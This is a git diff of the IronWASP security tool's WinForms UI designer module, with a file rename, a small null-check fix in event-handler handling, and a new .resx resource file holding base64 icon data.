System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox DataGridColumnNameAddTB; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.RadioButton DataGridColumnAddTBRB; + private System.Windows.Forms.RadioButton DataGridColumnAddCBRB; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox DataGridColumnAddMsgTB; + } } \ No newline at end of file diff --git a/IronWASP/ModUiDesigner.cs b/Iron/ModUiDesigner.cs similarity index 96% rename from IronWASP/ModUiDesigner.cs rename to Iron/ModUiDesigner.cs index b8e9e10..95f0350 100644 --- a/IronWASP/ModUiDesigner.cs +++ b/Iron/ModUiDesigner.cs @@ -1,288 +1,291 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.ComponentModel.Design.Serialization; -using System.Data; -using System.Design; -using System.Drawing; -using System.Drawing.Design; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using System.IO; - -namespace IronWASP -{ - public partial class ModUiDesigner : Form - { - internal static IDesignerHost IDH; - - public ModUiDesigner() - { - InitializeComponent(); - } - - private void NewDesignToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - CreateDesigner(true, ""); - } - catch(Exception Exp) - { - IronException.Report("Error Creating New Design", Exp); - } - } - - private void DeleteToolStripMenuItem_Click(object sender, EventArgs e) - { - if (ModDesignSurface.SelectedObjects == null) return; - foreach (Object O in ModDesignSurface.SelectedObjects) - { - try - { - if (O.GetType() == typeof(Form)) continue; - } - catch { } - try - { - IDH.DestroyComponent(O as IComponent); - } - catch { } - } - } - - private void GenerateCodeToolStripMenuItem_Click(object sender, EventArgs e) - { - Form FormControl = RecursivelyGetFormControl(this.BaseSplit.Panel2); - if (FormControl == null) return; - try - { - string Xml = ModUiTools.XmlFromFormControl(FormControl); - ModCodeAndControlHolder Code = ModUiTools.XmlToCode(Xml); - XmlOutRTB.Text = Code.XmlCode; - PyOutRTB.Text = Code.PyCode; - RbOutRTB.Text = Code.RbCode; - MainTabs.SelectTab("CodeTab"); - } - catch(Exception Exp) - { - IronException.Report("UI Designer Error", Exp); - } - } - - Form RecursivelyGetFormControl(Control ParentControl) - { - try - { - foreach (Control ChildControl in ParentControl.Controls) - { - if (ChildControl.GetType() == typeof(Form)) return ChildControl as Form; - Control MinedControl = RecursivelyGetFormControl(ChildControl); - if (MinedControl != null) return MinedControl as Form; - } - } - catch { } - return null; - } - - private void LoadDesignFromXMLToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - string XmlCode = ""; - OpenFileDialog XmlFileOpenDialog = new OpenFileDialog(); - XmlFileOpenDialog.Title = "Open an Design XML file"; - XmlFileOpenDialog.InitialDirectory = Config.RootDir; - if (XmlFileOpenDialog.ShowDialog() == DialogResult.OK) - { - FileInfo OpenedFile = new FileInfo(XmlFileOpenDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - XmlCode = Reader.ReadToEnd(); - Reader.Close(); - CreateDesigner(false, XmlCode); - } - } - catch(Exception Exp) - { - IronException.Report("Error Loading Design XML", Exp); - } - } - - void CreateDesigner(bool New, string XmlCode) - { - ModUi.ResetEventHandlers(); - //Create a new DesignSurface - ModDesignSurface MDS = new ModDesignSurface(); - MDS.SetUpSelectionService(); - - MDS.BeginLoad(typeof(Form)); - - IDH = (IDesignerHost)MDS.GetService(typeof(IDesignerHost)); - try - { - IDH.RemoveService(typeof(ITypeDescriptorFilterService)); - }catch{} - try - { - IDH.RemoveService(typeof(IToolboxService)); - }catch{} - try - { - IDH.RemoveService(typeof(PropertyGrid)); - }catch { } - - //Read XML and update the Form control - if (!New) - { - ModCodeAndControlHolder Code = ModUiTools.XmlToCode(XmlCode, (Form)IDH.RootComponent); - } - - //Panel P = (Panel)IDH.CreateComponent(typeof(Panel)); - //P.Location = ModUiTools.GetLocationDefinition(20, 20); - //P.Size = ModUiTools.GetSizeDefinition(100, 100); - //Button B = (Button)IDH.CreateComponent(typeof(Button), "TestButton"); - //B.Text = "123"; - //P.Controls.Add(B); - //P.Parent = (Form)IDH.RootComponent; - - try - { - this.BaseSplit.Panel2.Controls.RemoveAt(0); - } - catch { } - Control C = MDS.View as Control; - C.Parent = this.BaseSplit.Panel2; - C.Dock = DockStyle.Fill; - - - - IDH.AddService(typeof(ITypeDescriptorFilterService), new CustomFilterService()); - - ModToolBox TB = new ModToolBox(); - TB.Parent = this.ToolboxTab; - TB.Dock = DockStyle.Fill; - IDH.AddService(typeof(IToolboxService), TB); - - PropertyGrid PG = new PropertyGrid(); - PG.Parent = this.PropertiesPropertySubTab; - PG.Dock = DockStyle.Fill; - - IDH.AddService(typeof(PropertyGrid), PG); - - // Use ComponentChangeService to announce changing of the - // Form's Controls collection */ - IComponentChangeService ICC = (IComponentChangeService)IDH.GetService(typeof(IComponentChangeService)); - ICC.OnComponentChanging(IDH.RootComponent, TypeDescriptor.GetProperties(IDH.RootComponent)["Controls"]); - } - - private void EventHandlersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - Dictionary EventHandlers = new Dictionary(); - foreach (DataGridViewRow Row in EventHandlersGrid.Rows) - { - EventHandlers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - } - SetEventHandlers(EventHandlers); - } - - void SetEventHandlers(Dictionary EventHandlers) - { - if (ModDesignSurface.SelectedObjects == null || ModDesignSurface.SelectedObjects.Length != 1) return; - object Obj = ModDesignSurface.SelectedObjects[0]; - switch (Obj.GetType().Name) - { - case ("Form"): - ModUi.EventHandlers = EventHandlers; - break; - case ("ModTextBox"): - (Obj as ModTextBox).EventHandlers = EventHandlers; - break; - case ("ModRichTextBox"): - (Obj as ModRichTextBox).EventHandlers = EventHandlers; - break; - case ("ModButton"): - (Obj as ModButton).EventHandlers = EventHandlers; - break; - case ("ModCheckBox"): - (Obj as ModCheckBox).EventHandlers = EventHandlers; - break; - case ("ModRadioButton"): - (Obj as ModRadioButton).EventHandlers = EventHandlers; - break; - case ("ModLabel"): - (Obj as ModLabel).EventHandlers = EventHandlers; - break; - case ("ModDataGridView"): - (Obj as ModDataGridView).EventHandlers = EventHandlers; - break; - case ("ModTabControl"): - (Obj as ModTabControl).EventHandlers = EventHandlers; - break; - } - } - - private void DataGridColumnAddBtn_Click(object sender, EventArgs e) - { - DataGridColumnAddMsgTB.Text = ""; - DataGridColumnAddMsgTB.Visible = false; - string ColumnName = DataGridColumnNameAddTB.Text; - if (ColumnName.Length == 0) - { - DataGridColumnAddMsgTB.Text = "Column name cannot be empty"; - DataGridColumnAddMsgTB.Visible = true; - return; - } - try - { - DataGridView DV = (ModDesignSurface.SelectedObjects[0] as DataGridView); - foreach (DataGridViewColumn Col in DV.Columns) - { - if (Col.Name.Equals(ColumnName)) - { - DataGridColumnAddMsgTB.Text = "Column with this name already exists. Assign a unique name."; - DataGridColumnAddMsgTB.Visible = true; - return; - } - } - if (DataGridColumnAddTBRB.Checked) - { - DataGridViewTextBoxColumn C = new DataGridViewTextBoxColumn(); - C.Name = ColumnName; - DV.Columns.Add(C); - } - else if (DataGridColumnAddCBRB.Checked) - { - DataGridViewCheckBoxColumn C = new DataGridViewCheckBoxColumn(); - C.Name = ColumnName; - DV.Columns.Add(C); - } - } - catch - { - DataGridColumnAddMsgTB.Text = "Error adding column. Check input values."; - DataGridColumnAddMsgTB.Visible = true; - return; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.ComponentModel.Design; +using System.ComponentModel.Design.Serialization; +using System.Data; +using System.Design; +using System.Drawing; +using System.Drawing.Design; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using System.IO; + +namespace IronWASP +{ + public partial class ModUiDesigner : Form + { + internal static IDesignerHost IDH; + + public ModUiDesigner() + { + InitializeComponent(); + } + + private void NewDesignToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + CreateDesigner(true, ""); + } + catch(Exception Exp) + { + IronException.Report("Error Creating New Design", Exp); + } + } + + private void DeleteToolStripMenuItem_Click(object sender, EventArgs e) + { + if (ModDesignSurface.SelectedObjects == null) return; + foreach (Object O in ModDesignSurface.SelectedObjects) + { + try + { + if (O.GetType() == typeof(Form)) continue; + } + catch { } + try + { + IDH.DestroyComponent(O as IComponent); + } + catch { } + } + } + + private void GenerateCodeToolStripMenuItem_Click(object sender, EventArgs e) + { + Form FormControl = RecursivelyGetFormControl(this.BaseSplit.Panel2); + if (FormControl == null) return; + try + { + string Xml = ModUiTools.XmlFromFormControl(FormControl); + ModCodeAndControlHolder Code = ModUiTools.XmlToCode(Xml); + XmlOutRTB.Text = Code.XmlCode; + PyOutRTB.Text = Code.PyCode; + RbOutRTB.Text = Code.RbCode; + MainTabs.SelectTab("CodeTab"); + } + catch(Exception Exp) + { + IronException.Report("UI Designer Error", Exp); + } + } + + Form RecursivelyGetFormControl(Control ParentControl) + { + try + { + foreach (Control ChildControl in ParentControl.Controls) + { + if (ChildControl.GetType() == typeof(Form)) return ChildControl as Form; + Control MinedControl = RecursivelyGetFormControl(ChildControl); + if (MinedControl != null) return MinedControl as Form; + } + } + catch { } + return null; + } + + private void LoadDesignFromXMLToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + string XmlCode = ""; + OpenFileDialog XmlFileOpenDialog = new OpenFileDialog(); + XmlFileOpenDialog.Title = "Open an Design XML file"; + XmlFileOpenDialog.InitialDirectory = Config.RootDir; + if (XmlFileOpenDialog.ShowDialog() == DialogResult.OK) + { + FileInfo OpenedFile = new FileInfo(XmlFileOpenDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + XmlCode = Reader.ReadToEnd(); + Reader.Close(); + CreateDesigner(false, XmlCode); + } + } + catch(Exception Exp) + { + IronException.Report("Error Loading Design XML", Exp); + } + } + + void CreateDesigner(bool New, string XmlCode) + { + ModUi.ResetEventHandlers(); + //Create a new DesignSurface + ModDesignSurface MDS = new ModDesignSurface(); + MDS.SetUpSelectionService(); + + MDS.BeginLoad(typeof(Form)); + + IDH = (IDesignerHost)MDS.GetService(typeof(IDesignerHost)); + try + { + IDH.RemoveService(typeof(ITypeDescriptorFilterService)); + }catch{} + try + { + IDH.RemoveService(typeof(IToolboxService)); + }catch{} + try + { + IDH.RemoveService(typeof(PropertyGrid)); + }catch { } + + //Read XML and update the Form control + if (!New) + { + ModCodeAndControlHolder Code = ModUiTools.XmlToCode(XmlCode, (Form)IDH.RootComponent); + } + + //Panel P = (Panel)IDH.CreateComponent(typeof(Panel)); + //P.Location = ModUiTools.GetLocationDefinition(20, 20); + //P.Size = ModUiTools.GetSizeDefinition(100, 100); + //Button B = (Button)IDH.CreateComponent(typeof(Button), "TestButton"); + //B.Text = "123"; + //P.Controls.Add(B); + //P.Parent = (Form)IDH.RootComponent; + + try + { + this.BaseSplit.Panel2.Controls.RemoveAt(0); + } + catch { } + Control C = MDS.View as Control; + C.Parent = this.BaseSplit.Panel2; + C.Dock = DockStyle.Fill; + + + + IDH.AddService(typeof(ITypeDescriptorFilterService), new CustomFilterService()); + + ModToolBox TB = new ModToolBox(); + TB.Parent = this.ToolboxTab; + TB.Dock = DockStyle.Fill; + IDH.AddService(typeof(IToolboxService), TB); + + PropertyGrid PG = new PropertyGrid(); + PG.Parent = this.PropertiesPropertySubTab; + PG.Dock = DockStyle.Fill; + + IDH.AddService(typeof(PropertyGrid), PG); + + // Use ComponentChangeService to announce changing of the + // Form's Controls collection */ + IComponentChangeService ICC = (IComponentChangeService)IDH.GetService(typeof(IComponentChangeService)); + ICC.OnComponentChanging(IDH.RootComponent, TypeDescriptor.GetProperties(IDH.RootComponent)["Controls"]); + } + + private void EventHandlersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) + { + Dictionary EventHandlers = new Dictionary(); + foreach (DataGridViewRow Row in EventHandlersGrid.Rows) + { + if (Row.Cells[1].Value != null) + { + EventHandlers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + } + } + SetEventHandlers(EventHandlers); + } + + void SetEventHandlers(Dictionary EventHandlers) + { + if (ModDesignSurface.SelectedObjects == null || ModDesignSurface.SelectedObjects.Length != 1) return; + object Obj = ModDesignSurface.SelectedObjects[0]; + switch (Obj.GetType().Name) + { + case ("Form"): + ModUi.EventHandlers = EventHandlers; + break; + case ("ModTextBox"): + (Obj as ModTextBox).EventHandlers = EventHandlers; + break; + case ("ModRichTextBox"): + (Obj as ModRichTextBox).EventHandlers = EventHandlers; + break; + case ("ModButton"): + (Obj as ModButton).EventHandlers = EventHandlers; + break; + case ("ModCheckBox"): + (Obj as ModCheckBox).EventHandlers = EventHandlers; + break; + case ("ModRadioButton"): + (Obj as ModRadioButton).EventHandlers = EventHandlers; + break; + case ("ModLabel"): + (Obj as ModLabel).EventHandlers = EventHandlers; + break; + case ("ModDataGridView"): + (Obj as ModDataGridView).EventHandlers = EventHandlers; + break; + case ("ModTabControl"): + (Obj as ModTabControl).EventHandlers = EventHandlers; + break; + } + } + + private void DataGridColumnAddBtn_Click(object sender, EventArgs e) + { + DataGridColumnAddMsgTB.Text = ""; + DataGridColumnAddMsgTB.Visible = false; + string ColumnName = DataGridColumnNameAddTB.Text; + if (ColumnName.Length == 0) + { + DataGridColumnAddMsgTB.Text = "Column name cannot be empty"; + DataGridColumnAddMsgTB.Visible = true; + return; + } + try + { + DataGridView DV = (ModDesignSurface.SelectedObjects[0] as DataGridView); + foreach (DataGridViewColumn Col in DV.Columns) + { + if (Col.Name.Equals(ColumnName)) + { + DataGridColumnAddMsgTB.Text = "Column with this name already exists. Assign a unique name."; + DataGridColumnAddMsgTB.Visible = true; + return; + } + } + if (DataGridColumnAddTBRB.Checked) + { + DataGridViewTextBoxColumn C = new DataGridViewTextBoxColumn(); + C.Name = ColumnName; + DV.Columns.Add(C); + } + else if (DataGridColumnAddCBRB.Checked) + { + DataGridViewCheckBoxColumn C = new DataGridViewCheckBoxColumn(); + C.Name = ColumnName; + DV.Columns.Add(C); + } + } + catch + { + DataGridColumnAddMsgTB.Text = "Error adding column. Check input values."; + DataGridColumnAddMsgTB.Visible = true; + return; + } + } + } +} diff --git a/Iron/ModUiDesigner.resx b/Iron/ModUiDesigner.resx new file mode 100644 index 0000000..48f4aee --- /dev/null +++ b/Iron/ModUiDesigner.resx @@ -0,0 +1,1927 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 